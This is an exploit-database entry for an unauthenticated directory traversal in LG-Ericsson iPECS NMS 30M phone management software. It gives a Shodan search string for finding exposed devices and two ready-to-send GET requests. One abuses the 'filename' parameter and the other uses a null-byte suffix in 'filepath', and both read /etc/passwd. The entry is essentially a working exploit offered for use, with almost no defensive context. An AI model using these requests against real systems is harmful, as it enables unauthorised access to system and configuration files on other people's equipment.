LG-Ericsson iPECS NMS 30M - Directory Traversal

# Exploit Title: LG-Ericsson iPECS NMS 30M - Directory Traversal
# Shodon Dork: iPECS CM
# Exploit Author: Safak Aslan
# Software Link: www.ipecs.com
# Version: 30M-B.2Ia and 30M-2.3Gn
# Authentication Required: No
# Tested on: Linux
# CVE: N/A

# Description
# The directory traversal was detected on LG-Ericsson's iPECS product that
# can be exploited to reach sensitive info on the vulnerable system. 
# Ericsson-LG iPECS NMS 30M allows directory traversal via 
# ipecs-cm/download?filename=../ URIs.

# The GET input of the "filename" has been set to ../../../../../../../../../../etc/passwd.
# By the sending of the below GET request, it is possible to reach configuration files directly.

targetIP/ipecs-cm/download?filename=../../../../../../../../../../etc/passwd&filepath=/home/wms/www/data 

# The GET input of the "filepath" has been set to ../../../../../../../../../../etc/passwd%00.jpg.
# By the sending of the below GET request, it is possible to reach configuration files directly.

targetIP/ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg